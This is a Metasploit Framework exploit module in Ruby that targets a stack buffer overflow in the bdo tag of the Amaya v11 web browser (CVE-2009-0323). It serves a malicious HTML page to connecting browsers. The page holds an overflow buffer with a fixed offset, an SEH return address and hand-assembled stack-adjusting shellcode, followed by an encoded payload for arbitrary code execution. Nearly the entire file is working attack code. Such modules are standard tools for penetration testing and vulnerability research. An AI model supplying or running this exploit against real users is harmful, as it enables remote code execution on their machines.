86 lines
2.2 KiB
Ruby
86 lines
2.2 KiB
Ruby
##
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# $Id: amaya_bdo.rb
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Amaya Browser v11.0 bdo tag overflow',
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'Description' => %q{
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This module exploits a stack overflow in the Amaya v11 Browser.
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By sending an overly long string to the "bdo"
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tag, an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'dookie, original exploit by Rob Carter' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-0323' ],
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[ 'OSVDB', '55721' ],
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[ 'BID', '33046, 33047' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 970,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll
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],
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'DisclosureDate' => 'Jan 28 2009',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Set the exploit buffer
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sploit = "<bdo dir=\""
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sploit += "\x41" * 6889
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sploit += "\x74\x06\x41\x41"
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sploit += [target.ret].pack('V')
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sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F
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sploit += "\x58" # pop EAX
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sploit += "\x2d\x18\x69\x45\x7d" # sub EAX, 7A7A0857
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sploit += "\x50" # push EAX
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sploit += "\xc3" # RETN
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sploit += make_nops(100)
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sploit += payload.encoded
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sploit += make_nops(970 - payload.encoded.length)
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sploit += "\">pwned!</bdo>"
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, sploit)
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# Handle the payload
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handler(cli)
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end
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end
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